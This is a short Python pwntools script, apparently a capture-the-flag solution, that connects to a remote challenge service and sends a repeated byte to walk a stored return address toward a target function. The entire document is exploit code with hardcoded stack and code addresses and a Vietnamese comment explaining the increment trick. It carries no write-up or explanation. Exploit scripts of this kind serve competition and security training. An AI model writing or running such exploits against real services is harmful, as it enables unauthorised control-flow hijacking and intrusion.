pwn_winner

from pwn import *

p = remote("winner.svattt.org", 31335)
raw_input('waiting')

#p.sendline('\xe1')
# la 1 thi number[0x31] duoc tang them 

numberAddr = 0xffffd2b8
retAddr = 0xffffd23c

toAddr = 0x08048B3E
curAddr = 0x8048a66
nL = toAddr - curAddr

for i in range(nL+1):
	p.send('\xe1')

p.sendline('0')
print p.recvall()
raw_input('waiting2')